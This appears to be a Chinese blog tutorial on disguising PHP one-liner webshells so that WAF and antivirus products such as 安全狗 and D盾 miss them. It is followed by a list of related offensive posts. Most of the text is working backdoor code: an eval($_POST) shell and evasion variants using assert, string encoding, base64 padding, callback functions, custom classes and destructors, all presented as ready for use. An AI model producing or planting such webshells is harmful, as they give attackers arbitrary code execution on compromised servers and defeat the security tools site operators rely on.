前言

这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助。这里解释一下什么是php木马,这里大体分为三种:

  1. 能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的,这种的是“小马”。
  2. 可以在目标服务器上执行php代码,并和一些客户端(如菜刀、冰蝎)进行交互的一句话木马。
  3. 根据 PHP 语法,编写较多代码,并在服务器上执行,完成大量间谍功能的“大马”

    以上php木马我们一般我们统称为webshell,这篇文章主要写一下如何对一句话木马变异变形来绕过WAF的查杀。

一句话木马原理

讲php一句话木马免杀之前,先简单说一下一句话木马原理,这样才能更好的举一反三。

先看代码:

<?php eval($_POST["shell"]);?>

其中eval就是执行命令的函数,官方给的说明是eval — 把字符串作为PHP代码执行

函数eval()语言结构是 非常危险的,因为它允许执行任意 PHP 代码。

还有一点需要注意:因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。

可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行。

说的在通俗一点,就是如果你这样用<?php $a=eval;$a() ?>是不行的,所以变形免杀的时候不够灵活,咱们找其他的函数代替,后面讲免杀再详细说。

$_POST['shell']就是接收的数据。也可以使用$_GET或者$_REQUEST。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。这便是一句话木马的强大之处。

下面通过几种方法讲一讲木马的免杀

相同功能函数替换

一般WAF查杀,就是检查关键字,而eval上文说过不够灵活,这里可以替换成assert,assert函数PHP手册的解释是:

assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。当信息能够被其他方法捕获,使用断言可以让它更快更方便!

而我们光替换还是远远不够,还是无法逃过WAF查杀,这样就需要变形了,所以第二种方法字符串变形。绕安全狗比较靠谱,因为安全狗更注重形。而PHP操作字符串的函数非常多,如下图:



这里也总结了一些:

convert_uudecode() #解码一个 uuencode 编码的字符串。
convert_uuencode() #使用 uuencode 编码一个字符串。
ucwords() #函数把字符串中每个单词的首字符转换为大写。
strrev () #反转字符串
trim() #函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() #函数把字符串的一部分替换为另一个字符串
substr() #函数返回字符串的一部分。
strtr() #函数转换字符串中特定的字符。
strtoupper() #函数把字符串转换为大写。
strtolower() #函数把字符串转换为小写。
implode() #将一个一维数组的值转化为字符串。
str_rot13() #函数对字符串执行 ROT13 编码。

举个例子:

<?php
// 使用 uuencode 编码一个字符串
$a=convert_uuencode("assert");
$b=convert_uudecode($a);
$b($_POST["shell"]);
?>

这里就不一一举例了。

自定义函数绕过

举个例子:

<?php
function shadog($a){
$a($_POST["shell"]);
}
shadog(assert);
?>

这种方法绕安全狗比较靠谱,在D盾面前就比较弱智了。

回调函数

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()

现在大部分回调函数已经被杀毒软件加入全家桶了,得找那比较生僻得。

比如:

<?php
forward_static_call_array(assert,array($_POST["shell"]));
?>

上面说大部分回调函数被杀毒软件加入全家桶,那如何绕过呢?还可以变形,比如我再定义一个函数,或者再定义一个类。

比如我定义一个函数

<?php
function shawaf($a,$b){
forward_static_call_array($a,$b);
}
shawaf(assert,array($_POST["shell"]));
?>

也可以定义一个类

<?php
class shawaf{
var $a;
var $b;
function __construct($a,$b)
{
$this->a=$a;
$this->b=$b;
}
function test(){
forward_static_call_array($this->a,$this->b);
}
}
$s1= new shawaf(assert,array($_POST["shell"]));
$s1->test();
?>

特殊字符干扰

特殊字符干扰,要求能干扰到杀毒软件得正则判断,还要代码能执行。比如网上流传得连接符。

举个例子:

<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

数组绕过

可以把代码放入数组中,执行绕过:

<?php
$a=strrev ("tressa");
$b=[''=>$a($_POST["shell"])];
?>

类绕过

举个例子:

<?php
class shawaf
{
public $a = '';
function __destruct(){ assert("$this->a");
}
} $b = new shawaf;
$b->a = $_POST["shell"];
?>

编码绕过

这个比较常用得是base64_decode,和base64_encode这一对。因为他的正则匹配可以加入一些下划线干扰杀软。

举个例子:

<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST["shell"]);
?>

小结

通过上面得方法,基本可以有上百种变形,多看看PHP手册。还有一点值得注意,就是PHP7.1之后得版本,已经不能使用强大的assert()函数了。在总结一点,结合杀毒软件的特性来构造相应的免杀方法。比如安全狗杀型,D盾杀参,对于关键词的后传入对于绕过主流杀软都是比较好的。

PHP木马免杀的一些总结的更多相关文章

  1. 后门木马免杀-msfvenom和msf5(evasion)

    贴上使用笔记 不多介绍了 很简单的东西 msfvenom各平台生成木马大全: windows:msfvenom -a x86 --platform Windows -p windows/meterpr ...

  2. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

  3. 2018-2019-2 网络对抗技术 20165333 Exp3 免杀原理与实践

    实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 使用msf编码器生成各种后门程序及检测 使 ...

  4. Webshell免杀研究

    前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...

  5. BadUsb配合Cobalt-Strike免杀上线

    BadUsb配合Cobalt-Strike免杀上线 前言: 原理简介:Badusb的原理是将恶意代码预置在固件之中,当受害人插入USB时,就会执行恶意代码进行恶意操作.Badusb将恶意代码预存在U盘 ...

  6. 那些shellcode免杀总结

    首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...

  7. Atitit.木马病毒的免杀原理---sikuli 的使用

    Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...

  8. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  9. Metasploit实现木马生成、捆绑、免杀

    原创博客,转载请注出处! 我的公众号,正在建设中,欢迎关注: Meatsploit介绍 2018/01/03 更新 Metasploit是一款优秀的开源(!= 完全免费)渗透测试框架平台,在该平台下可 ...

随机推荐

  1. 虚拟机解释器与bytecode对接

    心头一直有个疑问,jvm虚拟是如何对接class中的字节码的?或者说在未进入 JIT优化阶段时,解释器是如何对接的? 大概阐述 hotspot通过C++代码在堆上申请一块空间,向里面填充一组指令,然后 ...

  2. VUE数据更新视图不更新的原因

    当你利用索引直接设置一个项时,例如:vm.items[indexOfItem] = newValue当你修改数组的长度时,例如:vm.items.length = newLength 数组更新只能通过 ...

  3. Redis高级项目实战,都0202年了,还不会Redis?

    导读 大家都听过1万小时定律,可事实真的是这样吗?做了1万小时的CRUD,不还只会CRUD吗,这年头不适当的更新自身下技术栈,出门和别人聊天吹牛的时候,都没拿不出手,(⊙o⊙)…Redis没入门的童鞋 ...

  4. Spring Security自定义认证页面(动态网页解决方案+静态网页解决方案)--练气中期圆满

    写在前面 上一回我们简单分析了spring security拦截器链的加载流程,我们还有一些简单的问题没有解决.如何自定义登录页面?如何通过数据库获取用户权限信息? 今天主要解决如何配置自定义认证页面 ...

  5. Java中实现对集合中对象按中文首字母排序

    有一个person对象如下: public class Person { private String id;private String nam; } 一个list集合如下: List<Emp ...

  6. 更换git远程仓库地址

    通过命令直接修改远程仓库地址 git remote 查看所有远程仓库 git remote xxx 查看指定远程仓库地址 git remote set-url origin 你新的远程仓库地址 先删除 ...

  7. 牛客网数据库SQL实战解析(11-20题)

    牛客网SQL刷题地址: https://www.nowcoder.com/ta/sql?page=0 牛客网数据库SQL实战解析(01-10题): https://blog.csdn.net/u010 ...

  8. SpringBoot输出日志到文件

    1 基本信息 SpringBoot版本2.2.5 日志框架SLF4J 日志框架的实现LockBack 2 输出文件的配置 2.1 logging.file.name 指定日志文件的位置. 2.1.1 ...

  9. Java8中的Stream API

    本篇文章继续介绍Java 8的另一个新特性——Stream API.新增的Stream API与InputStream和OutputStream是完全不同的概念,Stream API是对Java中集合 ...

  10. static,private,final,abstract,protected

    1,static:静态变量:位于方法区中,只有一份,这个类的所有实例共享,不可以被继承 静态方法:直接通过类就能调用,静态方法中只能使用静态变量,不可以被继承 2,private:类不能用privat ...